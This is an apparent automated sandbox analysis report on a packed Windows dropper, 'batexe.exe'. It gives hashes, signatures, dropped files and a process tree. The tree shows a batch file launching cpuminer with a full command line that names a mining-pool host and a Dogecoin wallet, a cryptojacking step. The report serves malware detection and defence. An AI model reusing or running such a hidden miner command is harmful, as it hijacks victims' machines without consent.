73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 19:37

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1748	b2e.exe
3048	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3048	cpuminer-sse2.exe
3048	cpuminer-sse2.exe
3048	cpuminer-sse2.exe
3048	cpuminer-sse2.exe
3048	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4872-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4872 wrote to memory of 1748	4872	batexe.exe	75
PID 4872 wrote to memory of 1748	4872	batexe.exe	75
PID 4872 wrote to memory of 1748	4872	batexe.exe	75
PID 1748 wrote to memory of 3872	1748	b2e.exe	76
PID 1748 wrote to memory of 3872	1748	b2e.exe	76
PID 1748 wrote to memory of 3872	1748	b2e.exe	76
PID 3872 wrote to memory of 3048	3872	cmd.exe	79
PID 3872 wrote to memory of 3048	3872	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4872
- C:\Users\Admin\AppData\Local\Temp\8D5B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8D5B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8D5B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8F40.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8D5B.tmp\b2e.exe

Filesize
9.6MB

MD5
5931bf012df18e7dceeecfed8bd1250f

SHA1
4a467763153bb34a135df98b207345dc7c0b1afc

SHA256
2b22b77cbc048c362d0c3ee31109bd358a475ef3c1a5233b18eee2f3ab90701d

SHA512
cb6630b27501bf4285ef7648eb40e4b07ac98147eecd2a6735b705f8fe48dcf37d1c389851ca1119aa906ab67a5bb9aaa22cbb14c5160d9acca515ffa33edb9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\8D5B.tmp\b2e.exe

Filesize
8.7MB

MD5
e9574e389d0eff13c28df507f13240a7

SHA1
7162f69cd2f7aad084704385cb581a9d062e2a06

SHA256
2552e73830dad0d658fc707bb9d41e68ca1fd4773bfe8e8cefec141ed4208ff6

SHA512
9f8b4cbd1c1428207f6eb8402217650d8f01c36be21e839ab3a1aa3ac374f6d55e3256a891a7e6af6eabda447bdd6a36c14fa02d0eaf0b46a616a226f989fdf5

Download Submit
C:\Users\Admin\AppData\Local\Temp\8F40.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
b22b1272b2908a0d9ed475b75f573d01

SHA1
a09ba9c113723fdf641f9cd350eac747ebe5a9a6

SHA256
b3e833419eb6a527ba2fa56b29a1066d43c816e0df6e6822d1964c7b9c1d6a17

SHA512
cc65f2b064d6cec24c48091e2451cad8c4633fc8080e69db62caeb95aad703c6f0b69755ef2b62cbccd86eaa147e37ae915a06372ee3f09aa8380c6ac21e5063

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.1MB

MD5
045f2e3c64981653900bc9f2e027eddf

SHA1
4b92dd9c99483842e65a3b395ea2713bef9f04f3

SHA256
33be57a97d83778afbf7d9ec3ef3dd473de5cdddea42442a8715c1f1efb262e3

SHA512
3ab7724ee65012c5136ee395a3a3d82768ba13e39aace71075882c1af317ff460ddb93dc4930aa304ccf06910b47ef17336b707d7577abc7d1434a2c0f20e385

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.1MB

MD5
a2d2bc8958abc476908961dfd3e79e0b

SHA1
873b4f1150a876348edc0f3034705695388b55b1

SHA256
702274f26870b7497ca14acd2519d850c9c2e2759e3aa0fede8ab711a96a08bd

SHA512
99ae8a3ec491061f9a9b15b231513ba1d8350fbc45f2b7711c2e9d7ddb2e3983d795c7db637885d14cec5f07489f868567ea4fd10284ce4649ff0599ebc379a0

Download Submit
memory/1748-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1748-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3048-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3048-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3048-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3048-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-43-0x0000000070100000-0x0000000070198000-memory.dmp

Filesize
608KB

Download
memory/3048-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3048-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4872-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download